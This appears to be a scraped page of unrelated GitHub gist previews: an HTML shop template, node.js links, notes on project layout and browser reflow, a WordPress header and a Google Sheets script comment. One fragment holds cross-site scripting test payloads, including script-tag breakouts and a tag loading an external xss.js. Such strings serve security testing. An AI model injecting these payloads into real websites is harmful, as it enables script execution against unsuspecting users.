Models | Examples |
---|---|
Display ads | Yahoo! |
Search ads |
<!doctype html> | |
<html lang="en"> | |
<head> | |
<title>Sven's Snowshoe Emporium</title> | |
<link rel="stylesheet" href="style.css" /> | |
</head> | |
<body> | |
<section class="content home"> | |
<header> |
- node.js
- Installation paths: use one of these techniques to install node and npm without having to sudo.
- Node.js HOWTO: Install Node+NPM as user (not root) under Unix OSes
- Felix's Node.js Guide
- Creating a REST API using Node.js, Express, and MongoDB
- Node Cellar Sample Application with Backbone.js, Twitter Bootstrap, Node.js, Express, and MongoDB
- JavaScript Event Loop
- Node.js for PHP programmers
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//"; | |
alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//-- | |
></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> | |
'';!--"<XSS>=&{()} | |
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> | |
<IMG SRC="javascript:alert('XSS');"> |
I have moved this over to the Tech Interview Cheat Sheet Repo and has been expanded and even has code challenges you can run and practice against!
\
While the following structure is not an absolute requirement or enforced by the tools, it is a recommendation based on what the JavaScript and in particular Node community at large have been following by convention.
Beyond a suggested structure, no tooling recommendations, or sub-module structure is outlined here.
lib/
is intended for code that can run as-issrc/
is intended for code that needs to be manipulated before it can be used
All of the below properties or methods, when requested/called in JavaScript, will trigger the browser to synchronously calculate the style and layout*. This is also called reflow or layout thrashing, and is common performance bottleneck.
Generally, all APIs that synchronously provide layout metrics will trigger forced reflow / layout. Read on for additional cases and details.
elem.offsetLeft
,elem.offsetTop
,elem.offsetWidth
,elem.offsetHeight
,elem.offsetParent
<?php | |
/** | |
* The template for displaying all pages. | |
* | |
* @package Betheme | |
* @author Muffin group | |
* @link http://muffingroup.com | |
*/ | |
get_header(); |
/** | |
* create a Google Sheet then go to Tools > Script Editor | |
* Paste this code into the editor. Save. | |
* Publish > Deploy as Web App | |
* Set new version, publish as me, who has access - anyone, even anon. | |
* GET to the URL, add on end ?sheet=[sheet name] | |
* Sheet name is the sheet name, manage appropriately (no spaces or symbols to keep it simple) | |
* Request returns JSON representation of the sheet. | |
*/ |